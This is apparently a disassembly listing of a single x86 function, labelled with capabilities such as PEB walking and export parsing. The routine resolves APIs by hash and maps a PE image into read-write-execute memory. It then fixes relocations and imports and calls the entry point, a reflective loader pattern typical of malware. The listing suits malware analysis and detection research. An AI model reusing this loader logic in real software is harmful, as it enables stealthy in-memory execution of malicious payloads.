Function at 0x40101c
Capabilities:
Access peb ldr_data
Get process heap flags
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x40
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov esi, dword [esp + 0x54]
mov dword [esp + 0xc], 0
mov eax, dword [eax + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov ebx, dword [eax + 0x18]
test ebx, ebx
je 0x4011bb
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ecx + ebx + 0x78]
test ecx, ecx
je 0x40103e
mov edx, dword [ecx + ebx + 0x18]
test edx, edx
je 0x40103e
mov dword [esp + 8], edx
mov edx, dword [ebx + ecx + 0x1c]
xor esi, esi
mov dword [esp + 4], edx
mov edx, dword [ebx + ecx + 0x20]
mov dword [esp + 0x14], edx
mov edx, dword [ebx + ecx + 0x24]
mov dword [esp + 0x10], edx
mov edx, dword [ebx + ecx + 0xc]
add edx, ebx
xor ebp, ebp
dec ebp
cmp byte [edx + ebp + 1], 0
mov ecx, esi
lea ebp, [ebp + 1]
lea esi, [esi + 1]
jne 0x401085
add dword [esp + 4], ebx
xor edi, edi
sub ecx, 1
jb 0x4010ad
imul esi, edi, 0x1f
movzx edi, byte [edx]
inc edx
or edi, 0x20
add edi, esi
jmp 0x40109a
mov ecx, dword [esp + 8]
add dword [esp + 0x10], ebx
add dword [esp + 0x14], ebx
xor ebp, ebp
mov dword [esp + 0x18], edi
cmp ebp, ecx
je 0x4011b2
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 4]
movzx edx, word [edx + ebp*2]
mov ecx, dword [ecx + ebp*4]
mov edx, dword [esi + edx*4]
add ecx, ebx
mov dword [esp], edx
xor edx, edx
xor edi, edi
dec edi
cmp byte [ecx + edi + 1], 0
mov esi, edx
lea edi, [edi + 1]
lea edx, [edx + 1]
jne 0x4010e7
xor edx, edx
sub esi, 1
jb 0x40110d
movzx edi, byte [ecx]
imul edx, edx, 0x1f
inc ecx
or edi, 0x20
add edi, edx
mov edx, edi
jmp 0x4010f8
mov edi, dword [esp + 0x18]
cmp edi, 0x1a6c9752
jne 0x4011a8
cmp edx, 0x93310206
je 0x401181
cmp edx, 0x94874ac8
lea ecx, [esp + 0x38]
je 0x401197
cmp edx, 0xc4ecb7f7
je 0x401193
cmp edx, 0xd861330a
je 0x40116f
cmp edx, 0xeeb52ebb
je 0x40117b
cmp edx, 0xf2786bb7
je 0x40118d
cmp edx, 0x6872ed7
je 0x401187
cmp edx, 0x104e8791
je 0x401175
cmp edx, 0x7bc6f1ec
jne 0x4011a8
lea ecx, [esp + 0x34]
jmp 0x401197
lea ecx, [esp + 0x2c]
jmp 0x401197
lea ecx, [esp + 0x1c]
jmp 0x401197
lea ecx, [esp + 0x28]
jmp 0x401197
lea ecx, [esp + 0x20]
jmp 0x401197
lea ecx, [esp + 0x24]
jmp 0x401197
lea ecx, [esp + 0x30]
jmp 0x401197
lea ecx, [esp + 0x3c]
mov edx, dword [esp]
add edx, ebx
mov dword [ecx], edx
mov ecx, dword [esp + 0xc]
inc cl
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 8]
inc ebp
jmp 0x4010bf
mov esi, dword [esp + 0x54]
jmp 0x40103e
cmp byte [esp + 0xc], 9
jne 0x401218
push 0
push 0
push 0xed8
push dword [esp + 0x30]
push 0
push 0
call dword [esp + 0x38]
test eax, eax
je 0x4011ec
push 0xbb8
push eax
call dword [esp + 0x30]
cmp eax, 0x102
jne 0x401218
mov edi, dword [esi + 0x3c]
xor ecx, ecx
mov eax, dword [esp + 0x2c]
test byte [edi + esi + 0x17], 0x20
jne 0x401200
mov ecx, dword [esi + edi + 0x34]
mov edx, 0x1000
add edx, dword [esi + edi + 0x50]
push 0x40
push 0x3000
push edx
push ecx
call eax
test eax, eax
jne 0x401220
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 4], edi
mov edi, dword [esi + edi + 0x54]
xor edx, edx
cmp edi, edx
je 0x401237
mov cl, byte [esi + edx]
mov byte [eax + edx], cl
inc edx
jmp 0x40122a
mov ecx, dword [esp + 4]
mov dword [esp], eax
mov eax, dword [esi + 0x3c]
xor edx, edx
mov dword [esp + 0xc], edi
movzx ecx, word [esi + ecx + 6]
lea eax, [esi + eax + 0xf8]
mov dword [esp + 8], ecx
cmp edx, dword [esp + 8]
mov ebp, dword [esp + 0x54]
je 0x401287
imul ebx, edx, 0x28
mov edi, dword [eax + ebx + 0xc]
mov esi, dword [eax + ebx + 0x10]
mov ebx, dword [eax + ebx + 0x14]
add edi, dword [esp]
add ebx, ebp
xor ebp, ebp
cmp esi, ebp
je 0x401284
mov cl, byte [ebx + ebp]
mov byte [edi + ebp], cl
inc ebp
jmp 0x401277
inc edx
jmp 0x401257
mov eax, dword [esp + 4]
mov eax, dword [ebp + eax + 0xa0]
test eax, eax
je 0x4012f3
add eax, dword [esp]
cmp dword [eax], 0
je 0x4012f3
lea ecx, [eax + 8]
mov dword [esp + 8], eax
mov edx, ecx
mov esi, dword [eax + 4]
add esi, eax
cmp ecx, esi
jne 0x4012ef
movzx esi, word [edx]
mov edi, esi
and edi, 0xf000
cmp di, 0x3000
jne 0x4012e7
mov edi, dword [eax]
mov ebp, dword [esp]
and esi, 0xfff
mov eax, dword [esp + 0x54]
add edi, ebp
mov ebx, dword [esi + edi]
add ebx, ebp
mov ebp, dword [esp + 4]
sub ebx, dword [eax + ebp + 0x34]
mov eax, dword [esp + 8]
mov dword [esi + edi], ebx
add edx, 2
add ecx, 2
jmp 0x4012a7
mov eax, edx
jmp 0x401299
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x54]
mov eax, dword [ecx + eax + 0x80]
test eax, eax
je 0x4013ad
mov ecx, dword [esp + 0x30]
mov ebp, eax
mov edx, dword [esp + 0x34]
add ebp, dword [esp]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x18], edx
mov dword [esp + 8], ecx
mov esi, dword [ebp + 0xc]
mov ebx, dword [esp]
test esi, esi
je 0x401383
add esi, ebx
push esi
call dword [esp + 0x14]
mov edi, eax
test eax, eax
jne 0x401345
push esi
call dword [esp + 0x1c]
mov edi, eax
mov eax, ebp
mov ebp, dword [ebp]
mov esi, dword [eax + 0x10]
mov dword [esp + 0x14], eax
add ebp, ebx
add esi, ebx
xor ebx, ebx
mov eax, dword [ebp + ebx]
test eax, eax
je 0x40137a
mov ecx, dword [esp]
lea ecx, [eax + ecx + 2]
movzx eax, ax
cmovns eax, ecx
push eax
push edi
call dword [esp + 0x10]
mov dword [esi + ebx], eax
add ebx, 4
jmp 0x401357
mov ebp, dword [esp + 0x14]
add ebp, 0x14
jmp 0x401327
mov eax, ebx
mov ecx, dword [esp + 0xc]
sub ecx, 1
jb 0x401394
mov byte [eax], 0
inc eax
jmp 0x401389
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 4]
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax + ecx + 0x28]
add ecx, dword [esp]
call ecx
mov ecx, eax
call esi
mov eax, dword [esp]
jmp 0x401385